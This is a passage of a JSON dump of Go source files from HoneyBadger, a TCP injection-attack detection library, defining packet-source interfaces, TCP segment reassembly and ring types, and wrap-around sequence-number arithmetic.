NewHashedTcpIpv6Flow(tcpIpFlow)\n\tf := tcpIpFlow.Reverse()\n\thash2 := NewHashedTcpIpv6Flow(&f)\n\tif hash1 != hash2 {\n\t\tt.Error(\"hash values must be equal after sorting!\")\n\t\tt.Fail()\n\t}\n}\n"
  },
  {
    "path": "types/packet_source.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage types\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/layers\"\n)\n\ntype SnifferDriverOptions struct {\n\tDAQ          string\n\tFilename     string\n\tDevice       string\n\tSnaplen      int32\n\tWireDuration time.Duration\n\tFilter       string\n}\n\n// PacketDataSource is an interface for some source of packet data.\ntype PacketDataSourceCloser interface {\n\t// ReadPacketData returns the next packet available from this data source.\n\t// It returns:\n\t//  data:  The bytes of an individual packet.\n\t//  ci:  Metadata about the capture\n\t//  err:  An error encountered while reading packet data.  If err != nil,\n\t//    then data/ci will be ignored.\n\tReadPacketData() (data []byte, ci gopacket.CaptureInfo, err error)\n\t// Close closes the ethernet sniffer and returns nil if no error was found.\n\tClose() error\n}\n\ntype Supervisor interface {\n\tStopped()\n\tRun()\n}\n\ntype PacketSource interface {\n\tStart()\n\tStop()\n\tSetSupervisor(Supervisor)\n\tGetStartedChan() chan bool // used for unit tests\n}\n\n// PacketManifest is used to send parsed packets via channels to other goroutines\ntype PacketManifest struct {\n\tTimestamp time.Time\n\tFlow      *TcpIpFlow\n\tRawPacket []byte\n\tEthernet  *layers.Ethernet\n\tIPv4      *layers.IPv4\n\tIPv6      *layers.IPv6\n\tTCP       *layers.TCP\n\tPayload   gopacket.Payload\n}\n\nfunc (p PacketManifest) String() string {\n\tvar buffer bytes.Buffer\n\tbuffer.WriteString(fmt.Sprintf(\"TCP Flow: %s\\n\", *p.Flow))\n\tbuffer.WriteString(fmt.Sprintf(\"TCP Sequence %d\\n\", p.TCP.Seq))\n\tbuffer.WriteString(\"Packet payload hex dump:\\n\")\n\tbuffer.WriteString(hex.Dump(p.Payload))\n\treturn buffer.String()\n}\n"
  },
  {
    "path": "types/reassembly.go",
    "content": "/*\n *    I include google's license because this code is copy-pasted and refactored\n *    from the original, Google's gopacket.tcpassembly...\n *    Thanks to Graeme Connel for writing tcpassembly!\n */\n// Copyright 2012 Google, Inc. All rights reserved.\n//\n// Use of this source code is governed by a BSD-style license\n// that can be found in the LICENSE_BSD file in the root of the source\n// tree.\n\npackage types\n\nimport (\n\t\"fmt\"\n\t\"time\"\n)\n\n// Reassembly is used to represent a TCP segment\ntype Reassembly struct {\n\t// Seq is the TCP sequence number for this segment\n\tSeq Sequence\n\n\t// Bytes is the next set of bytes in the stream.  May be empty.\n\tBytes []byte\n\t// Skip is set to non-zero if bytes were skipped between this and the\n\t// last Reassembly.  If this is the first packet in a connection and we\n\t// didn't see the start, we have no idea how many bytes we skipped, so\n\t// we set it to -1.  Otherwise, it's set to the number of bytes skipped.\n\tSkip int\n\t// Start is set if this set of bytes has a TCP SYN accompanying it.\n\tStart bool\n\t// End is set if this set of bytes has a TCP FIN or RST accompanying it.\n\tEnd bool\n\t// IsOrderCoalesce is set if this stream segment was originally received\n\t// out of order and the later coalesced into the stream.\n\tIsCoalesce bool\n\t// IsCoalesceGap is set if this stream segment was the catalyzing segment\n\t// for triggering the coalescing of latent out-of-order packets.\n\tIsCoalesceGap bool\n\t// Seen is the timestamp this set of bytes was pulled off the wire.\n\tSeen time.Time\n}\n\n// String returns a string representation of Reassembly\nfunc (r Reassembly) String() string {\n\treturn fmt.Sprintf(\"Reassembly: Seq %d Bytes len %d Skip %d Start %v End %v Seen %s\", r.Seq, len(r.Bytes), r.Skip, r.Start, r.End, r.Seen)\n}\n"
  },
  {
    "path": "types/ring.go",
    "content": "// Modified from Google's original container ring;\n// Here the goal is to use the ring with our Reassembly type\n// and remove any need for type assertions;\n// thus we simplify our code making it easier to reason about.\n\n// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// Honeybadger types package\npackage types\n\n// A Ring is an element of a circular list, or ring.\n// Rings do not have a beginning or end; a pointer to any ring element\n// serves as reference to the entire ring. Empty rings are represented\n// as nil Ring pointers.\ntype Ring struct {\n\tnext, prev *Ring\n\tReassembly *Reassembly\n}\n\nfunc (r *Ring) init() *Ring {\n\tr.next = r\n\tr.prev = r\n\treturn r\n}\n\n// Next returns the next ring element. r must not be empty.\nfunc (r *Ring) Next() *Ring {\n\treturn r.next\n}\n\n// Prev returns the previous ring element. r must not be empty.\nfunc (r *Ring) Prev() *Ring {\n\treturn r.prev\n}\n\n// NewRing creates a ring of n elements.\nfunc NewRing(n int) *Ring {\n\tif n <= 0 {\n\t\treturn nil\n\t}\n\tr := new(Ring)\n\tp := r\n\tfor i := 1; i < n; i++ {\n\t\tp.next = &Ring{prev: p}\n\t\tp = p.next\n\t}\n\tp.next = r\n\tr.prev = p\n\treturn r\n}\n\n// Len computes the number of elements in ring r.\n// It executes in time proportional to the number of elements.\nfunc (r *Ring) Len() int {\n\tn := 0\n\tif r != nil {\n\t\tn = 1\n\t\tfor p := r.Next(); p != r; p = p.next {\n\t\t\tn++\n\t\t}\n\t}\n\treturn n\n}\n\n// Count computes the number of none nil Reassembly structs populating the ring\nfunc (r *Ring) Count() int {\n\tcount := 0\n\tfor current := r; current != r.Next(); current = current.Prev() {\n\t\tif current.Reassembly != nil {\n\t\t\tcount += 1\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn count\n}\n"
  },
  {
    "path": "types/sequence.go",
    "content": "/* sequence.go - this here file is composed of source code directly from gopacket.tcpassembly...\n   included here for use with HoneyBadger.\n*/\n\npackage types\n\n// Copyright 2012 Google, Inc. All rights reserved.\n//\n// Use of this source code is governed by a BSD-style license\n// that can be found in the LICENSE file in the root of the source\n// tree.\n\nconst (\n\tInvalidSequence Sequence = Sequence(-1)\n\tuint32Max                = 0xFFFFFFFF\n)\n\n// Sequence is a TCP sequence number.  It provides a few convenience functions\n// for handling TCP wrap-around.  The sequence should always be in the range\n// [0,0xFFFFFFFF]... its other bits are simply used in wrap-around calculations\n// and should never be set.\ntype Sequence int64\n\n// Difference defines an ordering for comparing TCP sequences that's safe for\n// roll-overs.  It returns:\n//    > 0 : if t comes after s\n//    < 0 : if t comes before s\n//      0 : if t == s\n// The number returned is the sequence difference, so 4.Difference(8) will\n// return 4.\n//\n// It handles rollovers by considering any sequence in the first quarter of the\n// uint32 space to be after any sequence in the last quarter of that space, thus\n// wrapping the uint32 space.\nfunc (s Sequence) Difference(t Sequence) int {\n\tif s > uint32Max-uint32Max/4 && t < uint32Max/4 {\n\t\tt += uint32Max\n\t} else if t > uint32Max-uint32Max/4 && s < uint32Max/4 {\n\t\ts += uint32Max\n\t}\n\treturn int(t - s)\n}\n\n// LessThan returns true if s < t\nfunc (s Sequence) LessThan(t Sequence) bool {\n\treturn s.Difference(t) > 0\n}\n\n// LessThanOrEqual returns true if s <= t\nfunc (s Sequence) LessThanOrEqual(t Sequence) bool {\n\treturn s.Difference(t) >= 0\n}\n\n// Equals returns true if s == t\nfunc (s Sequence) Equals(t Sequence) bool {\n\treturn s.Difference(t) == 0\n}\n\n// GreaterThan returns true if s > t\nfunc (s Sequence) GreaterThan(t Sequence) bool {\n\treturn s.Difference(t) < 0\n}\n\n// GreaterThanOrEqual returns true if s >= t\nfunc (s Sequence) GreaterThanOrEqual(t Sequence) bool {\n\treturn s.Difference(t) <= 0\n}\n\n// Add adds an integer to a sequence and returns the resulting sequence.\nfunc (s Sequence) Add(t int) Sequence {\n\treturn (s + Sequence(t)) & uint32Max\n}\n"
  }
]